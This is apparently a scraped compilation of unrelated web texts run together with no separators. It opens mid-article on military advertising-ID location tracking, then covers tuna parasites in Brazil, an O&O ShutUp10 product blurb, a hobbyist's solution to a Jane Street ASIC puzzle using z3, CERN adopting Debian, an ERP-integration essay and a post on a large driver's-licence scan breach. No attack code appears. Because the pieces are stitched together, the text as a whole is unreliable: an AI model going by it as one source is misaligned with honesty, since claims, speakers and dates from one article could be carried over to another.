The disclosures highlight a growing national security concern: that location data collected ​by the advertising industry and sold by data brokers – companies that ‌collate and resell personal data – can ‌be used to track and target military personnel deployed to war zones.

The air force and Special Operations Command declined further comment. Similar letters ‌from the army and navy to Wyden said they disabled advertising IDs on military devices but gave no indication of when the restrictions were imposed. The army said in a statement that advertising IDs had been blocked on Windows computers "since before 2021" but that Android and Apple mobile devices had only had it disabled by default "since at least February 2026".

Messages seeking comment from the navy went unreturned.

The effort to reduce the location data generated by smartphones comes as military officials weigh increasingly strict restrictions on phone use overall. ‌In July, Reuters reported that some deployed personnel in the Middle East could be ordered to surrender their phones amid concerns that mobile videos they were posting to the internet were helping Iran target American bases in the ​region.

Wyden and Representative Pat Harrigan, a North Carolina Republican, sent a letter to the Pentagon on Friday asking for an investigation into whether the military had properly countered the dangers of the location data trade. The letter included the updates from the various service branches on their efforts to disable advertising IDs on military devices.

Wyden said in a statement that it was clear that the military's efforts "have not been effective at ⁠neutralizing this threat". Harrigan said that US enemies "should not be able to pull out a credit card and ​buy information that helps them track American ​troops".

The Pentagon said in an email it would ​respond to the lawmakers directly.

Mobile advertising IDs, often abbreviated MAID, are unique identifiers tied to specific devices that ​can be used to track ‌a person's activity across mobile ​apps and pinpoint their physical location.

Zach ​Edwards, co-founder of the privacy ad tech company Decryptads, said that efforts to disable MAID on military-operated devices were "definitely a positive thing".

The restrictions "will essentially ensure their location isn't being included in bulk data sales being done by numerous vendors", although he cautioned that personnel might still be tracked through apps in other more complicated ways, for example by triangulating technical device details with network data or location information.

A fatty tuna that is often used for sashimi or canning may be swimming with parasites more often than not.

When scientists at the Federal University of Santa Catarina in southern Brazil analyzed 53 locally caught fish, they found nearly all were contaminated by worms.

According to a brief communication published in Ocean and Coastal Research, the research team counted more than 1,600 little worms in total.

Using powerful microscopy tools as aids, they found that the kidney and heart were the only organs free of parasites in every fish.

Otherwise, the worms and their signs were everywhere.

Of the 53-fish haul, 96 percent were infected by parasites.

The intestines were the most heavily infected organ, followed by the muscle tissue – notably, the bit we eat – and then the stomach.

"These results highlight the importance of sanitary inspection," the study authors conclude, "and emphasize the importance of immediate evisceration to avoid the migration of larvae from the viscera to the musculature."

The study from Brazil is small and covers only a single point in time, but it suggests that tuna in this region commonly host two worm genera: Trypanorhyncha and Anisakis.

Parasites and fish have evolved to coexist in the world's oceans, so it's not altogether surprising to find them in tuna.

What is eyebrow-raising is just how many worms were in each sample and how widely they were spread among the organs.

The tuna species analyzed in the study is known as skipjack, oceanic bonito, or katsuo (Katsuwonus pelamis), depending on where you are in the world, and it has high commercial value.

It is the most abundant tuna species in Brazil and, in 2022, the third most-captured marine species globally. That year, 3.1 million tons of skipjack were caught and sold around the world.

Who knows how many parasites each one of those fish carried.

Tuna sold for consumption is usually carefully examined by seafood processors and sushi chefs, and visible parasites are thankfully removed. But the truth is that some tiny creatures inevitably sneak past our defenses.

Indeed, parasitologists in the United States are studying worms hidden in expired cans of fish to track parasite numbers.

Before anyone goes throwing their tinned fish away, let it be known that accidental human infection with Trypanorhyncha larvae is rare, and not all species of Anisakis are recognized as causative agents of human disease.

When killed during the canning process, most parasitic worms are harmless to humans.

That said, if eaten in raw or undercooked fish, some species can latch onto the human intestinal wall and cause gastrointestinal symptoms such as abdominal pain, vomiting, nausea, or diarrhea.

Even if these parasites don't make someone sick, though, finding a worm in a can of tuna is enough to turn some consumers away.

"Beyond their potential impact on human health," explain the researchers, "parasites can reduce the marketability and value of seafood products due to implications for food safety and quality, decreasing consumer confidence and causing economic losses for the fishing industry."

Parasites are often villified as agents of disease, but Chelsea Wood, a parasitologist at the University of Washington, says their presence can be a good omen, too.

"Everyone assumes that worms in your salmon is a sign that things have gone awry," said Wood in 2025.

"But the anisakid life cycle integrates many components of the food web. I see their presence as a signal that the fish on your plate came from a healthy ecosystem."

At this point, it's impossible to say whether this many parasitic worms in tuna is normal.

Studies on these fish parasites are scarce, despite their importance to fisheries worldwide.

In 2020, researchers at the University of Washington found evidence that Anisakis worms in raw seafood have increased 280 times since the 1970s.

On average, they explained, we have gone from finding less than one worm in every 100 caught fish to more than one worm in every single host caught.

But that isn't necessarily a bad thing for us or the marine ecosystem.

Parasites like Anisakis also infect fish, squid, whales, and dolphins. Their goal is not to end up in humans.

"My gut is that this is about the improvements we've made in marine mammal conservation," Wood told ScienceAlert in 2020.

"The time frame of our study directly overlaps with when a bunch of really important marine mammal legislation went into effect, like the Marine Mammal Protection Act in 1972 and the International Whaling Commission moratorium on commercial whaling, which came in the 1980s."

Related: Expired Cans of Salmon, Decades Old, Preserve a Huge Surprise

More research needs to be done tracking parasites, not only off the coast of Brazil, but in other key fishing regions around the world, to better understand how they are faring in a rapidly changing world.

For now, the average fish consumer should take their cue from Wood, a researcher well acquainted with the reality of eating fish.

"So if I'm being honest with you, there are worms in everything you eat," Wood told an audience at the Seattle Aquarium in 2020.

"But cooking kills the menagerie of parasites that we find in our food, and it's only when we eat raw or undercooked food that we wind up tangling with live and infectious parasites."

Besides, she added, "when you eat these parasites, you get to be part of a natural cycle that links plankton to fish to whales to you."

How… comforting.

The study is published as a brief communication in Ocean and Coastal Research.

Control over privacy and convenience in Windows 10 & 11

O&O ShutUp10 lets you decide for yourself which convenience features of Windows 10 and Windows 11 you want to use and which data sharing goes too far for you. In a simple user interface, you can easily control how Windows 10 and Windows 11 should respect your privacy. Recommendations guide you and provide tips on which functions can be safely disabled.

Freeware without installation – ready to use immediately

O&O ShutUp10 is completely free and does not need to be installed; it runs immediately. No additional, unwanted or unnecessary software is downloaded or installed!

Get further recommendations for the secure use of Windows 10 and Windows 11 on the pages of the German Federal Office for Information Security (BSI).

Why Windows collects so much data

Windows aims to make everyday use as simple as possible for users and to require them to read and confirm security notices as rarely as possible. Unfortunately, this approach by Microsoft, intended as a simplification, can result in more data being transmitted to Microsoft than many users are comfortable with.

Personalization through telemetry: Which data is used and for what purpose

Microsoft uses most of this data to show you personalized information designed to make your daily routine easier. For example, Windows can remind you to leave for the airport 30 minutes earlier because there is a traffic jam on your route. To provide you with this information, Windows may need to access your calendar entries, your messages, the booking confirmation email with your departure time, your current location, and the internet, such as traffic forecasts.

Convenience features with risks: When comfort becomes a security vulnerability

Some services log all your keystrokes, share your Wi-Fi access data with your Facebook contacts, or connect your computer to a public and potentially unsecured network without asking. While this means that you or your contacts do not have to deal with complicated Wi-Fi passwords, it also represents a security risk.

All important privacy settings in one place

Decide for yourself how important convenience is to you and where you want to protect your privacy. O&O ShutUp10 brings all important settings together in one place. No expert knowledge or manual changes to Windows system settings required.

O&O ShutUp10 Premium can do all of this fully automatically for you!

You set your desired privacy settings just once — or use our recommended settings with a single click. O&O ShutUp10 Premium then continuously monitors your selected settings and automatically restores them, even after Windows updates or system changes. You always retain full control over what your Windows is allowed to reveal about you!

Discover O&O ShutUp10 Premium now

Use It for Free or Support Us with Premium

O&O ShutUp10 is and will remain free. The Free version requires no installation, is ready to use immediately, and does not include any additional, unwanted, or unnecessary software.

If you enjoy using O&O ShutUp10 and would like to support its continued development, you can choose the Premium version. It adds extra features to the free version and is fully compatible with it.

The choice is yours: continue using O&O ShutUp10 for free or choose Premium and actively support its ongoing development.

Thank you for your trust in O&O ShutUp10!

Or: Why do I always do things the hard way?

Jane Street periodically puts out challenges, and this one thoroughly nerd-sniped me and sent me down a month-long rabbit hole that I’m only now emerging from. This post is an overview of how I solved it with a combination of hard-headedness and sleep deprivation. It’s going to be decently technical, but in future posts I’ll go over the specifics of each step if people are interested.

For some background I’d recommend looking at the original post on the Jane Street blog here - Can you reverse Engineer an ASIC?

And if you ever want to read the (terrible) code I used for this challenge, you can find it at my github page here

Challenge Accepted

I have an engineering degree rotting away somewhere in my brain, so a lot of the words of the challenge are familiar. The challenge is to take an ASIC and work out what it does. For those unfamiliar, an ‘ASIC’ is an Application-Specific Integrated-Circuit, which is a fancy word for what we’d usually call a ‘Computer Chip’. Firms like Jane Street presumably design these to get extra performance relative to the equipment you can buy from a normal manufacturer.

In any case, the challenge is to take a ‘GDS’ file describing a chip, and work backwards to understand what it does, and then I guess maybe there’s a password in there or something. I didn’t, and still don’t, know what ‘GDS’ stand for.

There’s two parts to the challenge - one is a warmup where you’re given a lot more information (like the actual design of the chip), and the real puzzle where you’re given a firm handshake and a ‘good luck’ as you face the increasing prospect of not sleeping for the next three weeks.

What’s in the files?

For some reason, I like to do things the hard way so rather than doing any research I just started poking around in the files. I can see there’s some familiar words in them like like ‘clk’ (clock), ‘rst’ (reset) and ‘VGND’ (Ground Voltage) and ‘VPWR’ (Power Voltage).

And there’s a bunch of …. something with a prefix of sky130_fd_sc_hd__ followed by things that sound like logic element, like ‘or’ and ‘not’ and things like that. I guess that’s what I’ll need to pull out of the file?

I found there’s a really nice library ‘gdstk’ in python that seems to be able to read them. It tell me that there’s 27 elements on the warmup puzzle. A good start!

% python3 -c 'print(len(__import__("gdstk").read_gds("warmup/04_final.gds").cells))'
27

There’s also a ‘vcd’ file for the main puzzle, which is a text file, and I guess is a simulation input or output or something. I didn’t, and still don’t, know what ‘vcd’ stands for. I can see some suspicious entries in it that look like ASCII characters. I play around with it, writing a small C program, and get the output ‘TRY AGAIN’. Ah, so the circuit has messages in it somehow!

$ gcc what-is-this-thing.c && ./a.out
T R Y   A G A I N  T R Y   A G A I N

Ok we’re on to something

Here we need to do a huge digression and of course build our own circuit simulator. For reasons.

You can skip this section. I sure wish I did.

Several days later

Ok so I built a circuit sim using sqlite3 as a driver. Quite neat really. But it’s quite hard to design circuits in Python! If only there was a language for describing hardware.

Several days later

Ok so I built a parser for my new language and now I can design circuits. But I need to test them! If only there was some way of scriptings inputs and validating outputs.

Several days later

Ok so I built a harness for my circuit simulator. But it’s really hard to visualise what it’s doing! If only there was… well you see where this is going

Several days later

Ok so I gave up on writing a wave form viewer and decided to just use ‘surfer’. But these gds files are hard to work with, how can I make that easier?

Several days later

Ok so I wrote a basic GDS viewer in raylib but I can’t get the blocks to sit quite the way I want to. So anyway, I realised I’m down too many tangents and it’s time to drop all of the custom software.

Ok we’re done with that section. Aren’t you glad you skipped it?

Focus, Chris, Focus.

The Jane Street blog actually points to quite a handy GDS Viewer, so I spent some time just looking at it real hard and hoping something would come to me. I was able to roughly annotate what I though were which inputs, and I could later confirm that by looking through the approximate locations of wires in the files. Because this was the warmup I could compare what I knew about the circuit against what I could see.

What do these files represent?

These files seem to have some sense of ‘layers’ of different types of material or something, I imagine it’s a bit like a big 3d-printer that has to be told where to move the print head, and at what depth it needs to put a new material. Maybe these files are close to the instructions to the machine? But rather than having arbitrary positions in vertical space they seem to have standard layers of standard widths so that simplifies things.

I wanted to prove that I could at least operate on these files, so I tried to extract the Jane Street logo on the upper right corner. Somehow this was way harder than I thought and I ended up extracting everything except the Jane Street logo? But whatever good enough, lets move on.

I also at some point work out that the library I’m using can extract the elements to SVG file formats, and it includes a bunch of text describing the parts of the elements. This will be key to actually understanding the challenge because I can maybe use that information to work out which parts are inputs and outputs.

Time to actually read about these elements

I’ve gotten as far as I can with guessing. Time to actually read some proper documentation. Looks like this is their official home, despite the ‘unofficial’ in the name - sky130-unofficial

The docs had the answers to many of my questions. Why do I always do things the hard way?

It turns out that this ‘sky130’ thing is like a … standard? Or something for making chips. I guess making chips is hard, and so it makes sense for there to be common design elements. Crucially it also contains the descriptions of what the elements do, which is easy for elements like ‘and’ that are probably an ‘and gate’ but less clear for a ‘o21bai’ which is a …. well don’t worry too much about that.

Using the information from the docs and the labels from the SVG I can now theoretically map specific geometry to the I/O of the circuit elements, which I guess will be the first step to turning it into a ‘real circuit’. I get really lucky here, in that my library has the ability to check if two elements overlap in 2d space (remember these gds files are actually a description of a 3d geometry).

I wasn’t sure how reasonable the assumption of the labels overlapping the correct locations, but it worked way better than I expected! I guess labels are already referenced on their centerpoint! It even picked up some geometry that isn’t visually connected so a visual inspection would never have revealed their connections. And looking at the total design’s IO ports, it’s so much less visually noisey.

I think I can make a graph now?

I think I have what I need now to extract a circuit from this gds file. This isn’t going to be easy. This thing has 1k paths and almost 17k polygons even after ignoring everything I don’t care about.

I need to find a way of finding things that are ‘touching’, which means that they are on adjacent layers and also overlapping.

My algorithm is pretty terrible, but it does the job for now. I also introduce a simplification step where I take all of the ‘wire segments’ and …. compress? or coalesce? them into a single wire. The logic is, that if two wires are touching then they’re actually the same wire from my perspective.

Luckily I spent several weeks grinding leetcode last year while unemployed so a few graph algorithms weren’t going to slow me down.

Many days later

The next few days of work were not easy. In my working log I have recorded that “By beating my bloodied face against the keyboard for several hours and cursing how long I’ve already spent on this, I’ve managed to nail down a tricky bug”. I’m not exactly sure what that bug was now, but I’m sure it deserved it.

I’ve started to be able to turn my network in to real descriptions of hardware in a language called ‘Verilog’, which also allows me to run basic simulations like checking that ‘turning this pin high makes that one go low’. I’m eventually able to extract all the components into a handful of spaghetti, and I spend time manually drawing out the connections.

I don’t use any tooling (other than excalidraw, my drawing program). I mostly just look at it real hard until things make sense. Again, I do things the hard way

Not pictured: Sanity

But in any case I now had an understanding of the major components of the warmup puzzle - two shift registers (that shift things), an adder (that adds things) and a comparitor (that compares things) and I work on trying to simulate the outputs. I know that the input needs to sum to be 496 as the comparitor is named comparitor496 so I just need to put in the correct sequence of bits to achieve that. That’s just simple maths, the hard part was trying to get all the various parts all working together in a single simulation.

If only there were some way of doing this that didn’t involve trading off my sanity for progress.

A few hour later and it’s done! I finally got this thing to work!

It’s at this point I knew I had a chance of solving this thing, but it was a race against the clock, and my immune system was starting to give out.

On to the real puzzle

The real puzzle has many more component types (81 vs 20 or so) and many more of them (almost 10k vs 1k) so this won’t be easy. I was able to quickly get most aspects of my scripts working from the warmup steps, so long as I dropped all validation. Which is not ideal but it was only temporary. More annoying is that the process of extracting the circuit takes almost a whole minute instead of two seconds.

Initial work

I was able to get a little win by rearranging my wire segment gathering step so it is now 100x faster (3.4 second down to .03 seconds). It has byte-for-byte compatible behaviour so I’m pretty confident it hasn’t introduced any bugs. However the major slow step still swamp this improvement - finding all connected components takes almost a whole minute. Luckily I have a lot of confidence in that step after the nightmare of the warmup puzzle, so I don’t have to run it too often

Extracting the real puzzle

It took a long time, but I added implementations of all of the 40 or so new components that I need in the real puzzle by just manually copying them from the documentation site. In retrospect I’m sure I could have copy-pasted it from somehwere, but (in case you haven’t been paying attention) I like to do things the hard way.

After that, and some quality-of-life improvements around being able to add names or aliases to wires, I was able to build and run a simulation of the real puzzle. It didn’t work, but still, I think that means I’m in with a shot of solving this thing.

Is there a bug?

One annoyance I had is that I had to disable my validations, but it’s hard to make progress without validations as it’s easy to introduce bugs without noticing until hours or days later. So I went back to trying to turn them back on. For example I had a validation step that checked that all wires are actually connected to something.

I found in one section of my simulation that I had an undriven wire, meaning that its value was completely unknown to my simulator. That’s a bit strange really, because even if you don’t care about the value of a wire you’d typically just drive it to some known value rather than not connecting it at all. I assumed it was a bug in my pin-detection logic, but by visual inspection I could see that my code was correctly picking up a wire that’s only connected to two input pins.

Even stranger, the circuit has a connection on a neighboring pin that isn’t even an input or an output! Maybe there’s a bug here and it should be connected to one of the inputs? Given how little I understand, I sheepishly reported it to Jane Street.

The next day I had an email confirming that I was right! But luckily it shouldn’t have an impact on the actual results of the challenge. I quite sincerely think this bug report might be one of my coolest technical achievements.

Looking from a bird’s eye view

I spent a long time mapping out sections of subcircuits and the wires connecting them, and things started to fall in to place. I worked out that the section that feeds the ‘success’ wire has 6 wires, so now the challenge is slightly reduced to ‘how do I make those 6 wires go high?’, and luckily it seems like two of them do it after a certain number of clock cycles, so really it’s only 4 wires.

I can see other patterns too. The left-most subcircuits seem to act like a signal generator which then feeds in to other sections of the circuit. So maybe the ‘password’ is hidden inside the structure of these elements?

Combining the three, I can see it gives 121 or 120 clock transitions before the output goes high. That matches the waveform in the provided example, so maybe you need to have the password correct in 120/121 clocks otherwise you get the message?

This section seems to feed the rest of the circuit, so this might be the start of a clue.

I was now able to get each sub-section to run in a simulation but not really do anything useful. I then started working on connecting all the sub-components into one large circuit.

It turns out I’m an idiot.

I wasn’t able to get my overall sim working at all for 2 or 3 days, even though I’d quite thoroughly tested each sub component. Well, it turns out that I had forgotten to set the ‘reset’ pin, so the whole thing was effectively disabled, kind of like forgetting to turn the car on and wondering why you’re not going anywhere.

I fixed that and immediately saw ‘TRY AGAIN’ as expected. Success!

Even more interesting is, I deleted the input I was feeding to the circuit and I found it had other messages too:

The doldrums

I’ve now reached the hardest part of this challenge. I’ve found that the input to this circuit is 120 bits, and I have no idea how to progress. I considered exhaustively checking every input but that would unfortunately take more time than any of us have on this planet.

Wire-by-Wire

I follow the output wire back directly, but the complexity of the inputs are too much for me. I need some new approach. At some point in my notes I ask the question ‘what if I run the simulation in reverse?’, and I start mulling on this idea.

The thing is, I know where I want a signal to be and I know what the inputs need to be at that point.

So then if I take one step back in time I can re-write the desired output as a functions of the previous step.

This is like a recurrance relation, but I actually know what I want the output to be on step 120, and I know that the circuit starts with all outputs at zero. So theoretically this is solvable in some mathematical sense.

Hopefully the picture below explains a bit better what I mean

I focus on a shift register component as it’s closest to the one I solved in the warmup puzzle (which is a nice touch of pedagogy, so thank you Ben and Anish!). There’s some tricky constraints actually, I can tell it depends on previous values in the shift register, this probably needs some constraint solver to solve. Constraint solvers are notoriously complicated to understand, but luckily I know the perfect tool

On using a spreadsheet to write verilog

I’m sorry for the abomination that I’m about to show you.

Yes, that’s a spreadsheet that I used to write verilog that I then fed in to my simulated circuit. Surprisingly, under the hood spreadsheets are actually incredibly sophisticated constraint solvers. I dumped the output into a Verilog file, and ….. it worked! At least for two wires. It does look like this approach will be underpowered in general because it relies on me eyeballing the output and toggling bits here and there until all my checks go green. But it did prove that this approach of solving it backwards has legs.

It’s time to bring out the big guns and learn to use a constraint solver.

This …. isn’t as hard as I expected?

I remembered reading about constraint solvers on Hillel Waynes blog (who has a new book out you should go buy! I’ve got my copy), but I’d always been intimidated because they use big words like ‘constraint’ and ‘solver’ and I just need a thing to solve the constraints in my - ooooh I get it!

I ended up using a tool called ‘z3’. It’s kind of magical? Every time it finds a solution I get a surge of joy. You tell it things like ‘This wire can never be low’ or ‘This wire has to be high at step 120’ and it either finds how it can do that, or tells you it can’t be done. I was able to give it thousands of constraints in the end and it would find solutions in the blink of an eye.

Debugging it is a bit of a nightmare though, and mostly seems to involve me thinking real hard and deleting lines until it starts working again. I did get a bit of a sense for the sort of outputs it liked to produce - in particular if I didn’t specify starting points it would just choose whatever was convenient for it (and inconvenient for me)

Annoyingly I did a lot of the translation work from my circuit in to z3 by hand. I’m not quite sure why I did it that way other than I had gotten sick by this point and I didn’t trust myself to write a transformation script.

I went one-by-one on the wires I cared about. There are about 24 that I need to be high at the same time and I was able to get 22 of them relatively easily in isolation by a combination of using the solver and sometimes just guessing a bit and validating them in isolation.

It turns out I’ve done this the hard way, as is characteristic.

It turns out the structure of the inputs to many of the element appears to just need two pulses at a multiple of 11, determined by the value of a counter. If I’d just looked at the inputs a bit longer instead I might have worked it out, but I was in too deep looking at the lower layers rather than looking around at what I could see right in front of me.

The Answer. It’s done

I now combined all of my constraints in to a single giant script and set about squashing the bugs. There were a few, but by 10pm instead of an error I got the following output -

% python3 solver.py
Solution!
verilog saved to 'out.txt'

My hands started shaking because by this point the only way it could have a solution is if it had the answer.

I loaded it in to my simulator, run it, and there it is. The answer - (* TWO STARS *)

I emailed Jane Street, and the next morning I had my confirmation so I can now add it to my table of outputs -

What next?

Well I don’t really know what to work on next, I really enjoyed this challenge but I also have other hobbys such as ‘getting to bed before 3am’. But Jane Street did mention they might have a new challenge coming out in a couple of months, so stay tuned!

If you have any suggestions for fun projects, let me know either on Hacker News or by email.

And if you’re in Sydney and found this interesting, get in touch and we can grab a coffee.

CERN talked about this exciting news at the MiniDebConf that took place in Winterthur, Switzerland this past weekend. CERN had used their RHEL-derived Scientific Linux for about a decade prior to moving to CentOS in 2015. Now after a decade with CentOS, they are moving on and embracing Debian for a portion of their systems.

CERN is planning by the end of 2026 to have all 2,200+ of their industrial computers and embedded systems running Debian 13. Those wishing to learn more can see this video presentation (AV1 WebM) from the MiniDebConf.

Update: CERN has clarified that their focus with the migration is on their industrial accelerator-control computers while data centers and experimental computing remain on RHEL/AlmaLinux.

All event dates on this page come from the original announcements on raspberrypi.com (the publication date of each announcement) and are linked directly at the event. Additional sources: the UK Charity Commission register (founding dates of the Foundation), the investor relations pages of Raspberry Pi Holdings plc (sales figures from the annual reports) and ESA’s astro-pi.org. Events without a day-precise primary source (such as the 2006 prototype phase) are deliberately listed with the year only.

This page is updated whenever something big happens in the Raspberry Pi world. Last updated: August 2026 (added: 10-inch Touch Display 2, the 2026 RAM price developments). Missing an event that belongs on the timeline? Drop me a line via the contact form.

Loading data...

What sounds like a small API task is usually a full integration problem: sequencing, sync vs async, edge cases, and an old system nobody fully trusts.

Four words show up in almost every eCommerce project we take on here at Neuralab: “Just connect it to our ERP.“ They usually drop near the end of a kickoff call, tossed out as casually as asking for the Wi-Fi password.

The word doing all the heavy lifting (and all the damage) there is just. It’s the word that turns a monolithic beast of a legacy system that nobody in the room fully understands into a neat little line item some project manager expects to close in a two-week sprint.

I want to make an argument that sounds painfully obvious once you say it out loud, yet gets completely ignored on most projects: building a new store and connecting it to the systems already running the business are not the same sport. Heck, they’re barely the same project!

A new storefront is greenfield. Clear ground with no legacy baggage. You plan the architecture and data model upfront and mostly hold to the plan. An integration with an existing ERP or CRM is brownfield by default. It’s an archaeological dig into an old system you didn’t build, that’s poorly structured, still running, and troublesome in ways nobody ever bothered to write down. Treat the second like the first and you get an integration that works beautifully in the demo and completely shits the bed the first time a real order does something unexpected.

There is a fix, and it comes down to timing more than technique. I’ll get to it, but first you need to see what you’re actually up against. 

Let’s start with what the integration layer actually is. The storefront takes the order – the gateway authorizes the cash – the tax engine figures out the state’s cut – the ERP opens a sales order and reserves stock – accounting generates an invoice – the warehouse picks and packs – the CRM logs it all so customer support has something to stare at next week.

Every single one of those systems has an owner. But the handoff between them has no real owner at all. That’s what the integration layer is: the unowned seams. And seams are exactly where the fabric tears, because it’s the one place where two systems that were designed in total isolation have to agree on something in real-time, having never formally met.

Payment authorization must happen synchronously, meaning the customer needs an immediate response while they are waiting on the checkout screen. The payment gateway typically has up to a minute to confirm whether the transaction is approved or declined. But everything after the payment – opening the ERP order, reserving stock, pinging the warehouse – has to be asynchronous. You simply can’t make a paying customer wait on an ancient ERP API that answers whenever it feels like it. You are accepting eventual consistency by default here, simply because holding synchronous cross-system locks will butcher your conversion rates. 

So, the confirmation page fires the instant the payment clears, telling the customer “you’re all set” a beat before the system actually knows if it can deliver on that promise. Without explicit architectural patterns to handle that gap you’re just playing infrastructure roulette.

Most of the time, this gap closes in milliseconds and nobody’s the wiser. But sometimes it doesn’t. The payment clears, but the queued job to create the order times out or drops on the floor without a sound. Now you’ve taken their money with no order behind it.

That failure rarely hits the dev team first. Instead, an account manager has to act as human middleware – cross-referencing payment logs, re-typing order data into the ERP, and calling the warehouse floor to check on a shipment. Forcing humans to manually heal a cracking system is the most expensive bottleneck of a poorly planned integration.

The fixes here aren’t exotic but they do need to be explicitly planned, and budgeted upfront, a line item almost nobody includes until after their first major post-launch fire drill.

Any ERP or CRM that’s been running a real business for a few years has grown a thick layer of weird behavior that exists nowhere in its documentation. By that I mean a product-code field that silently clips at forty characters, so anything longer has been quietly losing its last digits since 2019. Or a nightly cron job that only works because some guy manually restarts it every Tuesday. Or an “order status” column that encodes five completely different business meanings depending on which department touched it last.

An outside team scoping a connection to that system on day one is just looking at a facade. They can read the API docs and see the tables, but they cannot see which of those unmapped load-bearing walls their integration is about to lean on. So the scope gets written against the version of the system that exists on paper, not the one coughing in production.

There’s a concept worth borrowing here: The Lindy effect. The longer something has already survived, the longer it’s likely to keep going. That 15-year-old ERP is still there precisely because too much depends on it for anyone to risk ripping it out. Its longevity is proof of its necessity.

When you arrive with a shiny new tech stack, the temptation is to treat the old system as dead weight and a dumb obstacle overdue for replacement. Resist that instinct! The old system has survived contact with the actual business for a decade and a half. It knows things your new build doesn’t know yet, encoded in all those annoying quirks you keep tripping over. Treat it as a battle-tested opponent rather than a nuisance and try to untangle its accumulated weirdness.

Put the greenfield and brownfield halves together and the most common planning error becomes glaringly obvious. Clients, and plenty of agencies, scope the new build and the integration as one single piece of work. Same estimate, same timeline, same assumption that they’re the same species of task.

They are not, and if you bundle them together you actively poison the integration.

When you write that combined scope, the new platform’s data model doesn’t even exist yet. Its catalog structure, content architecture, and the actual shape of the data are completely unsettled. So you’re designing an integration against a guess, layered on top of the fog already surrounding the old ERP. Guess wrong on either end, and you’re in for massive rework right when the deadline is breathing down your neck – which is exactly when developers start reaching for shortcuts that become those fragile seams everyone has to live with afterward.

The fix is a sequencing decision, and it’s almost boringly simple:

Build the new thing first. While that’s happening, send an analyst into the existing systems to do a pure audit. Figure out what the system actually does and where the unmapped walls are. Once the new platform is close to finished and its data model is a fact rather than a weekly weather forecast, then you scope the integration. Now both ends are known.

I’ll be honest, we learned this the expensive way at Neuralab. Years ago, we used to bundle the two into one scope to give a client a tidier number upfront. We’d then spend all that “saved” time back with massive interest during the last three weeks of the project, desperately discovering what the old system actually does.

Even if sequenced right, integrations are the hardest work we estimate in Neuralab because there’s a quiet trap that inflates the scope from the inside.

A client has an existing, complicated internal process. The natural instinct for both the developer and the business analyst is to lock onto that process and faithfully rebuild it in the new system, because a concrete process sitting in front of you is a satisfying puzzle to solve.

The question almost nobody asks is whether that process still needs to exist at all. Was half of it just scaffolding for a limitation the new system doesn’t even have? Faithfully cloning a bad process that shouldn’t survive the migration just relocates the waste into a more expensive place and bills you for the move.

We saw this clearly with one of our large pharmacy clients. Their original plan was to manage and edit all rich product details such as marketing copy, attributes, or extended specifications inside their legacy ERP, and then force all that content downstream to the web store. But standard ERPs are notoriously bad at managing complex eCommerce datasets and rich visual content.

Instead of building a fragile, over-engineered integration to force an old ERP into doing a PIM’s job, we redrew the architectural boundaries. The ERP stayed strictly in its lane: holding SKUs, core titles, pricing, and stock quantities. Meanwhile, WooCommerce became the single source of truth for rich product content. It was essentially functioning as a lightweight PIM for all media and marketing data. 

By questioning the legacy workflow instead of blindly automating it, we saved months of painful integration work and gave their team an architecture that actually fits how they work today. 

So how do you actually wire this stuff together? Point-to-point custom code between each pair of systems is the wrong default. It works great right up until the day an order gets stuck, a client asks what happened, and your honest answer is that the event passed between two systems and vanished into the ether.

What actually holds up is an explicit orchestration layer sitting in the middle – whether that’s an event pipeline like n8n which we heavily use, a separately hosted application with its own logging and event-handling capabilities, or a messaging platform such as Kafka, Amazon SQS, or RabbitMQ.  Its job is to own the sequencing, handle retries, and log every single event as it passes, so the whole flow can be inspected on its own.

When something breaks, you shouldn’t need write access to the ERP and an open database console on the storefront just to reconstruct the story. You should have one central place that already holds the receipts. Intentional middleware is the architecture our team defaults to now (usually reaching for custom applications or n8n to drive it). But the tool is just execution! The principle is the real point: the seams between systems deserve their own memory, because nobody else is taking notes.

The client isn’t wrong to want a “just.” A boring, invisible connection nobody ever thinks about is exactly what a good integration looks like from the outside. That simplicity is the finish line – you only reach it after someone goes down into the old system, maps the weak walls, and quietly absorbs the complexity so the business doesn’t have to.

So don’t argue with the person who says it, take it as the brief. Do enough excavation upfront so that a year from now, connecting to that ERP genuinely is simple, and the manual re-keying, the spreadsheets, and the cron job someone babysits every Tuesday become an old war story instead of your next Monday.

from the age-verification-is-another-phrase-for-privacy-breach dept

Thu, Sep 3rd 2026 10:57am -

From the very beginning of this recent obsession with identifying everyone online (yes, they like to call it “age” verification, but it always ends up as identity verification), we’ve been pointing out that it was a huge privacy nightmare waiting to happen. Or maybe it wasn’t waiting. Maybe it was already happening.

This week a massive new data breach has been revealed that should put the nail in the coffin for the idea that any sort of age or identity verification could be safe. 153 million scans of drivers licenses easily available based on this breach, with more being added all the time. Literally on the day it was revealed (and right before the site was taken down) it added another 400,000 records to its available database.

There is no safe age verification. There is no age verification that doesn’t put people at risk.

Last year, Eric Goldman wrote the definitive piece on how all of these technologies — no matter what they tell you — are huge privacy risks, but people are still living in denial. This is despite the numerous examples we’ve had in just the past few years of verification providers and their customers having massive data breaches.

The latest comes to us via Brian Krebs, who reports on a massive breach of scanned IDs — more than 153 million drivers licenses from people across the US and Canada, now for sale on the dark web:

A new identity theft service launched on the dark web this week is selling digital scans of more than 153 million drivers licenses from people in the United States and Canada. Based on interviews with individuals whose licenses are available for purchase on this service, it appears to be siphoning images collected by a widely-used identity verification company based in Louisiana. KrebsOnSecurity also has learned that the New Orleans field office of the Federal Bureau of Investigation (FBI) today launched an official inquiry into the source of the images.

Krebs traces the breach back to an ID verifier that appears to be used by many companies, including Hertz, the rental car company. It appears to not be limited to them either, as he checked with a number of people who were in the database, and by looking at the date they were added alongside their calendars, found examples of other people who shared their ID at places like a pot dispensary.

That company turns out to be IDScan.net, based in Louisiana, which has contracts with thousands of dispensaries, not to mention Hertz, FedEx, and Target. And while Krebs is focused on how many of the leaked IDs are connected to real world businesses, it’s worth noting that IDScan.net is also doing age verification for a bunch of tech companies, has a page tracking state age verification laws and company implementations, and even has written positively about laws like KOSA, the Kids Online Safety Act, that would effectively require age verification.

So, yes, we have a company that is a big player in the age verification space, talking up age and identity verification laws, that appears to have had a long-standing ongoing leak of every ID it scanned.

Yiiiiiikes.

And, of course, like all age and identity verification providers, IDScan has spent years talking up how secure it keeps all this data, even as every single record appeared to be leaking in realtime. Here’s their “Trust Center” page which is still up days after the hack was revealed:

That’s the company that spent over a year leaking 150 million drivers licenses in real time, explaining “how we protect data, maintain system reliability, and earn the confidence of our customers and their users.” Might be time to update that page.

